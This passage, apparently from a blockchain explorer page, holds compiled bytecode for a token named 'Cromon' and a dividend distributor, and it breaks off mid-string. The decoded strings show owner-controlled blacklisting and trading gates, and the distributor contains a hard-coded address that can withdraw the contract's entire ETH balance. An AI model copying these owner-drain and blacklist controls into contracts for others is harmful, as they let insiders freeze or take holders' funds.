fffff1673ffffffffffffffffffffffffffffffffffffffff16476184d0906040516136669061499b565b600060405180830381858888f193505050503d80600081146136a4576040519150601f19603f3d011682016040523d82523d6000602084013e6136a9565b606091505b5050905060009050505050505050505050506000602060006101000a81548160ff021916908315150217905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080601254601154846137439190614422565b61374d91906143f1565b905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461379a91906140ee565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161383a9190613a28565b60405180910390a3808361384e91906142f9565b91505092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061388c82613861565b9050919050565b61389c81613881565b81146138a757600080fd5b50565b6000813590506138b981613893565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126138e4576138e36138bf565b5b8235905067ffffffffffffffff811115613901576139006138c4565b5b60208301915083602082028301111561391d5761391c6138c9565b5b9250929050565b60008083601f84011261393a576139396138bf565b5b8235905067ffffffffffffffff811115613957576139566138c4565b5b602083019150836020820283011115613973576139726138c9565b5b9250929050565b60008060008060006060868803121561399657613995613857565b5b60006139a4888289016138aa565b955050602086013567ffffffffffffffff8111156139c5576139c461385c565b5b6139d1888289016138ce565b9450945050604086013567ffffffffffffffff8111156139f4576139f361385c565b5b613a0088828901613924565b92509250509295509295909350565b6000819050919050565b613a2281613a0f565b82525050565b6000602082019050613a3d6000830184613a19565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a7d578082015181840152602081019050613a62565b83811115613a8c576000848401525b50505050565b6000601f19601f8301169050919050565b6000613aae82613a43565b613ab88185613a4e565b9350613ac8818560208601613a5f565b613ad181613a92565b840191505092915050565b60006020820190508181036000830152613af68184613aa3565b905092915050565b613b0781613a0f565b8114613b1257600080fd5b50565b600081359050613b2481613afe565b92915050565b60008060408385031215613b4157613b40613857565b5b6000613b4f858286016138aa565b9250506020613b6085828601613b15565b9150509250929050565b60008115159050919050565b613b7f81613b6a565b82525050565b6000602082019050613b9a6000830184613b76565b92915050565b60008060408385031215613bb757613bb6613857565b5b6000613bc585828601613b15565b9250506020613bd685828601613b15565b9150509250929050565b600060208284031215613bf657613bf5613857565b5b6000613c04848285016138aa565b91505092915050565b600080600060608486031215613c2657613c25613857565b5b6000613c34868287016138aa565b9350506020613c45868287016138aa565b9250506040613c5686828701613b15565b9150509250925092565b613c6981613b6a565b8114613c7457600080fd5b50565b600081359050613c8681613c60565b92915050565b600060ff82169050919050565b613ca281613c8c565b8114613cad57600080fd5b50565b600081359050613cbf81613c99565b92915050565b60008060408385031215613cdc57613cdb613857565b5b6000613cea85828601613c77565b9250506020613cfb85828601613cb0565b9150509250929050565b613d0e81613c8c565b82525050565b6000602082019050613d296000830184613d05565b92915050565b60008060408385031215613d4657613d45613857565b5b6000613d54858286016138aa565b9250506020613d6585828601613c77565b9150509250929050565b600060208284031215613d8557613d84613857565b5b6000613d9384828501613b15565b91505092915050565b60008060008060808587031215613db657613db5613857565b5b6000613dc487828801613b15565b9450506020613dd587828801613b15565b9350506040613de687828801613b15565b9250506060613df787828801613b15565b91505092959194509250565b613e0c81613881565b82525050565b6000602082019050613e276000830184613e03565b92915050565b60008060408385031215613e4457613e43613857565b5b6000613e52858286016138aa565b9250506020613e63858286016138aa565b9150509250929050565b60008060408385031215613e8457613e83613857565b5b6000613e9285828601613c77565b9250506020613ea385828601613b15565b9150509250929050565b6000613eb882613861565b9050919050565b613ec881613ead565b8114613ed357600080fd5b50565b600081359050613ee581613ebf565b92915050565b600060208284031215613f0157613f00613857565b5b6000613f0f84828501613ed6565b91505092915050565b6000819050919050565b6000613f3d613f38613f3384613861565b613f18565b613861565b9050919050565b6000613f4f82613f22565b9050919050565b6000613f6182613f44565b9050919050565b613f7181613f56565b82525050565b6000602082019050613f8c6000830184613f68565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613fc8600683613a4e565b9150613fd382613f92565b602082019050919050565b60006020820190508181036000830152613ff781613fbb565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b600061405a602883613a4e565b915061406582613ffe565b604082019050919050565b600060208201905081810360008301526140898161404d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006140f982613a0f565b915061410483613a0f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614139576141386140bf565b5b828201905092915050565b600061414f82613a0f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203614181576141806140bf565b5b600182019050919050565b7f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f7000000000600082015250565b60006141c2601c83613a4e565b91506141cd8261418c565b602082019050919050565b600060208201905081810360008301526141f1816141b5565b9050919050565b600060408201905061420d6000830185613e03565b61421a6020830184613a19565b9392505050565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b6000614257600b83613a4e565b915061426282614221565b602082019050919050565b600060208201905081810360008301526142868161424a565b9050919050565b7f496e73756666696369656e7420416c6c6f77616e636500000000000000000000600082015250565b60006142c3601683613a4e565b91506142ce8261428d565b602082019050919050565b600060208201905081810360008301526142f2816142b6565b9050919050565b600061430482613a0f565b915061430f83613a0f565b925082821015614322576143216140bf565b5b828203905092915050565b7f426c61636b6c6973746564206164647265737300000000000000000000000000600082015250565b6000614363601383613a4e565b915061436e8261432d565b602082019050919050565b6000602082019050818103600083015261439281614356565b9050919050565b60006040820190506143ae6000830185613a19565b6143bb6020830184613a19565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006143fc82613a0f565b915061440783613a0f565b925082614417576144166143c2565b5b828204905092915050565b600061442d82613a0f565b915061443883613a0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614471576144706140bf565b5b828202905092915050565b600061448782613f44565b9050919050565b6144978161447c565b82525050565b60006020820190506144b2600083018461448e565b92915050565b6000819050919050565b60006144dd6144d86144d3846144b8565b613f18565b613a0f565b9050919050565b6144ed816144c2565b82525050565b60006040820190506145086000830185613e03565b61451560208301846144e4565b9392505050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b6000614552601483613a4e565b915061455d8261451c565b602082019050919050565b6000602082019050818103600083015261458181614545565b9050919050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000602082015250565b60006145e4603e83613a4e565b91506145ef82614588565b604082019050919050565b60006020820190508181036000830152614613816145d7565b9050919050565b7f506c65617365207761697420666f7220636f6f6c646f776e206265747765656e60008201527f2062757973000000000000000000000000000000000000000000000000000000602082015250565b6000614676602583613a4e565b91506146818261461a565b604082019050919050565b600060208201905081810360008301526146a581614669565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006146e2601183613a4e565b91506146ed826146ac565b602082019050919050565b60006020820190508181036000830152614711816146d5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061475681613893565b92915050565b60006020828403121561477257614771613857565b5b600061478084828501614747565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147be81613881565b82525050565b60006147d083836147b5565b60208301905092915050565b6000602082019050919050565b60006147f482614789565b6147fe8185614794565b9350614809836147a5565b8060005b8381101561483a57815161482188826147c4565b975061482c836147dc565b92505060018101905061480d565b5085935050505092915050565b600060a08201905061485c6000830188613a19565b61486960208301876144e4565b818103604083015261487b81866147e9565b905061488a6060830185613e03565b6148976080830184613a19565b9695505050505050565b600060c0820190506148b66000830189613e03565b6148c36020830188613a19565b6148d060408301876144e4565b6148dd60608301866144e4565b6148ea6080830185613e03565b6148f760a0830184613a19565b979650505050505050565b60008151905061491181613afe565b92915050565b6000806000606084860312156149305761492f613857565b5b600061493e86828701614902565b935050602061494f86828701614902565b925050604061496086828701614902565b9150509250925092565b600081905092915050565b50565b600061498560008361496a565b915061499082614975565b600082019050919050565b60006149a682614978565b915081905091905056fea2646970667358221220ce00bd8a431871d8ff9cd30c84c532003720ba001aaf1292e653c9e90323edbc64736f6c634300080d0033608060405273cd19575e0d8ddede3a44e052f42bc619959e86fb600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506ec097ce7bc90715b34b9f1000000000600a55610a8c600b55662386f26fc10000600c5534801561008957600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611798806100d96000396000f3fe6080604052600436106100ec5760003560e01c8063997664d71161008a578063efca2eed11610059578063efca2eed14610339578063f0fc6bca14610364578063ffb2c4791461037b578063ffd49c84146103a45761015a565b8063997664d71461029a578063ce7c2ac2146102c5578063d0e30db014610304578063e2d2e2191461030e5761015a565b80632d48e896116100c65780632d48e896146101f05780633a98ef39146102195780633d59551b146102445780634fab0ae81461026f5761015a565b806311ce023d1461015f57806314b6ca961461018a57806328fd3198146101b35761015a565b3661015a57600e54471115610158576000600e544761010b9190611332565b90508060075461011b9190611366565b60078190555060065481600a5461013291906113bc565b61013c9190611445565b6009546101499190611366565b60098190555047600e81905550505b005b600080fd5b34801561016b57600080fd5b506101746103cf565b6040516101819190611485565b60405180910390f35b34801561019657600080fd5b506101b160048036038101906101ac919061152f565b6103d5565b005b3480156101bf57600080fd5b506101da60048036038101906101d5919061156f565b6106de565b6040516101e79190611485565b60405180910390f35b3480156101fc57600080fd5b506102176004803603810190610212919061159c565b6107f0565b005b34801561022557600080fd5b5061022e6108b2565b60405161023b9190611485565b60405180910390f35b34801561025057600080fd5b506102596108b8565b60405161026691906115f7565b60405180910390f35b34801561027b57600080fd5b50610284610a05565b6040516102919190611485565b60405180910390f35b3480156102a657600080fd5b506102af610a0b565b6040516102bc9190611485565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e7919061156f565b610a11565b6040516102fb93929190611612565b60405180910390f35b61030c610a3b565b005b34801561031a57600080fd5b50610323610b54565b6040516103309190611485565b60405180910390f35b34801561034557600080fd5b5061034e610b5a565b60405161035b9190611485565b60405180910390f35b34801561037057600080fd5b50610379610b60565b005b34801561038757600080fd5b506103a2600480360381019061039d9190611649565b610b6b565b005b3480156103b057600080fd5b506103b9610d48565b6040516103c69190611485565b60405180910390f35b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061047c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61048557600080fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156104da576104d982610d4e565b5b60008111801561052c57506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154145b1561053f5761053a82610fb2565b6105a1565b60008114801561059157506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154115b156105a05761059f82611061565b5b5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546006546105f29190611332565b6105fc9190611366565b60068190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550610694600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611268565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540361073257600090506107eb565b600061077f600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611268565b90506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490508082116107da576000925050506107eb565b80826107e69190611332565b925050505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108975750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108a057600080fd5b81600b8190555080600c819055505050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109625750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61096b57600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476184d0906040516109b7906116a7565b600060405180830381858888f193505050503d80600081146109f5576040519150601f19603f3d011682016040523d82523d6000602084013e6109fa565b606091505b505090508091505090565b600c5481565b60075481565b60056020528060005260406000206000915090508060000154908060010154908060020154905083565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ae25750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610aeb57600080fd5b600e54471115610b52576000600e5447610b059190611332565b905080600754610b159190611366565b60078190555060065481600a54610b2c91906113bc565b610b369190611445565b600954610b439190611366565b60098190555047600e81905550505b565b60095481565b60085481565b610b6933610d4e565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c125750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1b57600080fd5b6000600280549050905060008103610c335750610d45565b6000805a905060005b8483108015610c4a57508381105b15610d405783600d5410610c61576000600d819055505b610caa6002600d5481548110610c7a57610c796116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661128c565b15610cf957610cf86002600d5481548110610cc857610cc76116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d4e565b5b5a8284610d069190611366565b610d109190611332565b92505a9150600d6000815480929190610d28906116eb565b91905055508080610d38906116eb565b915050610c3c565b505050505b50565b600b5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540315610faf576000610da4826106de565b90506000811115610fad5760008273ffffffffffffffffffffffffffffffffffffffff16826184d090604051610dd9906116a7565b600060405180830381858888f193505050503d8060008114610e17576040519150601f19603f3d011682016040523d82523d6000602084013e610e1c565b606091505b505090508015610fab5781600854610e349190611366565b60088190555042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ecc9190611366565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550610f5d600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611268565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555047600e819055505b505b505b50565b600280549050600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260016002805490506110759190611332565b81548110611086576110856116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110611104576111036116bc565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460036000600260016002805490506111a49190611332565b815481106111b5576111b46116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060028054806112305761122f611733565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905550565b6000600a546009548361127b91906113bc565b6112859190611445565b9050919050565b600042600b54600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112dc9190611366565b1080156112f25750600c546112f0836106de565b115b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061133d826112f9565b9150611348836112f9565b92508282101561135b5761135a611303565b5b828203905092915050565b6000611371826112f9565b915061137c836112f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113b1576113b0611303565b5b828201905092915050565b60006113c7826112f9565b91506113d2836112f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561140b5761140a611303565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611450826112f9565b915061145b836112f9565b92508261146b5761146a611416565b5b828204905092915050565b61147f816112f9565b82525050565b600060208201905061149a6000830184611476565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114d0826114a5565b9050919050565b6114e0816114c5565b81146114eb57600080fd5b50565b6000813590506114fd816114d7565b92915050565b61150c816112f9565b811461151757600080fd5b50565b60008135905061152981611503565b92915050565b60008060408385031215611546576115456114a0565b5b6000611554858286016114ee565b92505060206115658582860161151a565b9150509250929050565b600060208284031215611585576115846114a0565b5b6000611593848285016114ee565b91505092915050565b600080604083850312156115b3576115b26114a0565b5b60006115c18582860161151a565b92505060206115d28582860161151a565b9150509250929050565b60008115159050919050565b6115f1816115dc565b82525050565b600060208201905061160c60008301846115e8565b92915050565b60006060820190506116276000830186611476565b6116346020830185611476565b6116416040830184611476565b949350505050565b60006020828403121561165f5761165e6114a0565b5b600061166d8482850161151a565b91505092915050565b600081905092915050565b50565b6000611691600083611676565b915061169c82611681565b600082019050919050565b60006116b282611684565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006116f6826112f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361172857611727611303565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfea264697066735822122061b2af3f05a9bcffc09efb52d3e72237c972b9366a6f7aafd6f482bbb8b9b59164736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106102b25760003560e01c8063722b62ad11610175578063c9567bf9116100dc578063f0b37c0411610095578063f84ba65d1161006f578063f84ba65d14610acb578063f887ea4014610af4578063fe9fbb8014610b1f578063ffb54a9914610b5c576102b9565b8063f0b37c0414610a50578063f2fde38b14610a79578063f708a64f14610aa2576102b9565b8063c9567bf914610940578063ca33e64c14610957578063d51ed1c814610982578063dd62ed3e146109bf578063df20fd49146109fc578063e96fada214610a25576102b9565b80639d1944f51161012e5780639d1944f514610832578063a4b45c001461085b578063a8aa1b3114610884578063a9059cbb146108af578063b6a5d7de146108ec578063bf56b37114610915576102b9565b8063722b62ad1461073257806378109e541461075d5780637d1db4a51461078857806382bf293c146107b3578063893d20e8146107dc57806395d89b4114610807576102b9565b80632d594567116102195780635c85974f116101d25780635c85974f14610624578063617fe0ed1461064d578063658d4b7f146106785780636ddd1713146106a15780636fcba377146106cc57806370a08231146106f5576102b9565b80632d594567146105045780632f54bf6e1461052d578063313ce5671461056a578063455a43961461059557806350db71fb146105be578063571ac8b0146105e7576102b9565b80631cdd3be31161026b5780631cdd3be3146103e25780631df4ccfc1461041f578063201e79911461044a57806323b872dd146104735780632b112e49146104b05780632d48e896146104db576102b9565b8063025ff12f146102be5780630445b667146102e757806306fdde0314610312578063095ea7b31461033d5780631161ae391461037a57806318160ddd146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e0919061397a565b610b87565b005b3480156102f357600080fd5b506102fc610fcc565b6040516103099190613a28565b60405180910390f35b34801561031e57600080fd5b50610327610fd2565b6040516103349190613adc565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190613b2a565b61100f565b6040516103719190613b85565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190613ba0565b611101565b6040516103ae9190613b85565b60405180910390f35b3480156103c357600080fd5b506103cc611116565b6040516103d99190613a28565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190613be0565b611120565b6040516104169190613b85565b60405180910390f35b34801561042b57600080fd5b50610434611140565b6040516104419190613a28565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190613ba0565b611146565b005b34801561047f57600080fd5b5061049a60048036038101906104959190613c0d565b6111a0565b6040516104a79190613b85565b60405180910390f35b3480156104bc57600080fd5b506104c561148f565b6040516104d29190613a28565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190613ba0565b611503565b005b34801561051057600080fd5b5061052b60048036038101906105269190613cc5565b6115de565b005b34801561053957600080fd5b50610554600480360381019061054f9190613be0565b61165f565b6040516105619190613b85565b60405180910390f35b34801561057657600080fd5b5061057f6116b8565b60405161058c9190613d14565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613d2f565b6116c1565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613d2f565b611764565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613be0565b611807565b60405161061b9190613b85565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d6f565b61183a565b005b34801561065957600080fd5b5061066261188c565b60405161066f9190613b85565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a9190613d2f565b61189f565b005b3480156106ad57600080fd5b506106b6611942565b6040516106c39190613b85565b60405180910390f35b3480156106d857600080fd5b506106f360048036038101906106ee9190613d9c565b611955565b005b34801561070157600080fd5b5061071c60048036038101906107179190613be0565b6119f8565b6040516107299190613a28565b60405180910390f35b34801561073e57600080fd5b50610747611a41565b6040516107549190613d14565b60405180910390f35b34801561076957600080fd5b50610772611a54565b60405161077f9190613a28565b60405180910390f35b34801561079457600080fd5b5061079d611a5a565b6040516107aa9190613a28565b60405180910390f35b3480156107bf57600080fd5b506107da60048036038101906107d59190613d6f565b611a60565b005b3480156107e857600080fd5b506107f1611acb565b6040516107fe9190613e12565b60405180910390f35b34801561081357600080fd5b5061081c611af4565b6040516108299190613adc565b60405180910390f35b34801561083e57600080fd5b5061085960048036038101906108549190613d6f565b611b31565b005b34801561086757600080fd5b50610882600480360381019061087d9190613e2d565b611b92565b005b34801561089057600080fd5b50610899611c60565b6040516108a69190613e12565b60405180910390f35b3480156108bb57600080fd5b506108d660048036038101906108d19190613b2a565b611c86565b6040516108e39190613b85565b60405180910390f35b3480156108f857600080fd5b50610913600480360381019061090e9190613be0565b611c9b565b005b34801561092157600080fd5b5061092a611d3d565b6040516109379190613a28565b60405180910390f35b34801561094c57600080fd5b50610955611d43565b005b34801561096357600080fd5b5061096c611da8565b6040516109799190613e12565b60405180910390f35b34801561098e57600080fd5b506109a960048036038101906109a49190613d6f565b611dce565b6040516109b69190613a28565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190613e2d565b611e2b565b6040516109f39190613a28565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190613e6d565b611eb2565b005b348015610a3157600080fd5b50610a3a611f1f565b604051610a479190613e12565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a729190613be0565b611f45565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b9190613eeb565b611fe8565b005b348015610aae57600080fd5b50610ac96004803603810190610ac49190613d2f565b612101565b005b348015610ad757600080fd5b50610af26004803603810190610aed9190613d2f565b6123a1565b005b348015610b0057600080fd5b50610b09612444565b604051610b169190613f77565b60405180910390f35b348015610b2b57600080fd5b50610b466004803603810190610b419190613be0565b61246a565b604051610b539190613b85565b60405180910390f35b348015610b6857600080fd5b50610b716124c0565b604051610b7e9190613b85565b60405180910390f35b610b903361165f565b610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690613fde565b60405180910390fd5b6000828290508585905014610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090614070565b60405180910390fd5b60005b85859050811015610c6157838382818110610c3a57610c39614090565b5b9050602002013582610c4c91906140ee565b91508080610c5990614144565b915050610c1c565b5080610c6c876119f8565b1015610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906141d8565b60405180910390fd5b60005b85859050811015610ea957610d0687878784818110610cd257610cd1614090565b5b9050602002016020810190610ce79190613be0565b868685818110610cfa57610cf9614090565b5b905060200201356124d3565b50600c6000878784818110610d1e57610d1d614090565b5b9050602002016020810190610d339190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e9657601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96878784818110610dd057610dcf614090565b5b9050602002016020810190610de59190613be0565b600760008a8a87818110610dfc57610dfb614090565b5b9050602002016020810190610e119190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610e699291906141f8565b600060405180830381600087803b158015610e8357600080fd5b505af1925050508015610e94575060015b505b8080610ea190614144565b915050610cb0565b50600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fc457601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610f979291906141f8565b600060405180830381600087803b158015610fb157600080fd5b505af1925050508015610fc2575060015b505b505050505050565b601f5481565b60606040518060400160405280600681526020017f43726f6d6f6e0000000000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110ef9190613a28565b60405180910390a36001905092915050565b60008261110d83611dce565b11905092915050565b6000600454905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b60115481565b61114f3361246a565b61118e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111859061426d565b60405180910390fd5b81601581905550806016819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113985781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb906142d9565b60405180910390fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139091906142f9565b925050819055505b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561143c5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290614379565b60405180910390fd5b611486848484612661565b90509392505050565b60006114bc600360009054906101000a900473ffffffffffffffffffffffffffff